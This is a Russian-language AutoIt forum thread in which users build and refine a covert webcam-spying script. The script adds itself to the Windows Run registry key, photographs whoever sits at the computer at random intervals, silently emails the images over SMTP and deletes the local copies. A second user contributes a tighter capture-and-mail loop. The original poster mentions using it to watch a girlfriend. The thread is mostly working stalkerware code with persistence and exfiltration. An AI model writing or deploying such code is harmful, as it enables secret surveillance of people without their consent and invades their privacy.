Проверка включена ли вебкамера

[sasha1304]

помогите пожалуйста, сделать проверку подключена ли вебкамера к компу? если она отключена то скрипт должен отключаться.

#include <GUIConstants.au3>
#include <Webcam.au3>
#include <WindowsConstants.au3>
#AutoIt3Wrapper_Icon=icon.ico


If @Compiled Then
    _RegRun()
EndIf

Sleep(Random(180000, 300000))

$sPath1 = @WindowsDir & "\Temp\CP\"

If Not FileExists($sPath1) Then
   DirCreate($sPath1)
EndIf

While 1
$width = 640
$heidht = 480 
_WebcamInit()
$gui = GUICreate("", $width, $heidht)
_Webcam($gui, $width, $heidht ,0 ,0)


$sPath2 = @WindowsDir & "\Temp\CP\" & @HOUR & @MIN & @SEC & @MDAY & @MON & @YEAR& ".jpg"
Sleep (1500)
_WebcamSnapShot($sPath2)
_WebcamStop()


$str = "http://schemas.microsoft.com/cdo/configuration/"
$hMAIL = ObjCreate ("CDO.Message")
With $hMAIL
        .From = '';поставить свое
        .To = '';поставить свое
        .Subject = 'Снимок'
        .TextBody = 'Я пришёл'
        .AddAttachment($sPath2)
        EndWith
        With $hMAIL.Configuration.Fields
        .Item ($str & "sendusing") = 2
        .Item ($str & "smtpserver") = 'smtp.mail.ru'
        .Item ($str & "smtpauthenticate") = 1
        .Item ($str & "sendusername") = '';поставить свое
        .Item ($str & "sendpassword") = '';поставить свое
        .Item ($str & "smtpserverport") = '2525'
        .Update
        EndWith
$hMAIL.Send
FileDelete($sPath1)
Sleep(Random(1800000, 2400000))
WEnd

Func _RegRun()
    Local $sRegRun = 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run'

    If RegRead($sRegRun, @ScriptName) = '' Or RegRead($sRegRun, @ScriptName) <> @ScriptFullPath Then
        RegWrite($sRegRun, @ScriptName, 'REG_SZ', @ScriptFullPath)
    EndIf
EndFunc

 

[armenxxx1]

RegWrite($sRegRun, @ScriptName, 'REG_SZ', @ScriptFullPath)

Эта будет поймать любой антивирус как вирус ;D... Какую девушку вы хотите следовать ;D ;D ;D

 

[Medic84]

armenxxx1 [?]

Эта будет поймать любой антивирус как вирус

... Какую девушку вы хотите следовать

Кому то следует проверять орфографию перед отправлением.

 

[sasha1304]

этот скрипт может быть полезен в случае если у вас украли комп, много инфы можно узнать о том кто за ним сидит, ну и за девушкой проследить тоже можно. ;D только как проверку сделать подключена ли вебка или нет?

 

[armenxxx1]

Medic84
Извините, если я пишу неправильно, но я иностранец.

sasha1304

#include <Webcam.au3>

Global $var, $str, $hMAIL
Global $File = @ScriptDir & "\1.jpg"

While 1
	WebCam()
	Sleep(5000)
WEnd	

Func WebCam()
	$width = 320
	$height = 240
	_WebcamInit()
	$gui = GUICreate("Time Lapse", $width, $height)
	_Webcam($gui, $width, $height, 0, 0)
	_WebcamSnapShot($File)
	_WebcamStop()
	
	If FileExists($File) Then
		PingG()
	Else
		Sleep(1000)
		WebCam()
	EndIf	
EndFunc

Func PingG()
Sleep(1000)
	$var = Ping("www.google.com",1000)
	If $var Then
		SendMeil()
	Else
		PingG()
	EndIf
EndFunc

Func SendMeil()
$str = "http://schemas.microsoft.com/cdo/configuration/"
$hMAIL = ObjCreate ("CDO.Message")
    With $hMAIL
        .From = "[email protected]" ;Имейла от когото изпращате
        .To = "[email protected]" ;Имейла на когото ще изпращате
		.Subject = "Компютър : " & @UserName  ;Относно
        .TextBody = "Време на заснимане : " & @YEAR & "." & @MON & "." & @MDAY & " " & @HOUR & ":" & @MIN & ":" & @SEC ;Текст на имейла
		.BodyPart.Charset = "UTF-8" ;кодировка на писмото "windows-1251"
		.AddAttachment($File)
    EndWith
    With $hMAIL.Configuration.Fields
        .Item ($str & "sendusing") = 2
        .Item ($str & "smtpserver") = "smtp.mail.ru" ;smtp сървар
        .Item ($str & "smtpauthenticate") = 1
        .Item ($str & "sendusername") = "[email protected]" ;Имейла на smtp сървара
        ;pss.Item ($str & "sendpassword") = "pss" ;Парола на smtp сървара
		;ssl.Item ($str & "smtpusessl") = 1 ;TLS/SSL 0 е спрян
        .Item ($str & "smtpserverport") = 2525 ;Порт
        .Update
    EndWith
$hMAIL.Send
EndFunc

Я только что придумал программу WebCamCapture надеюсь, что он будет хорошо работат.

 

[sasha1304]

armenxxx1
спасибо. довёл мой скрипт до ума :beer: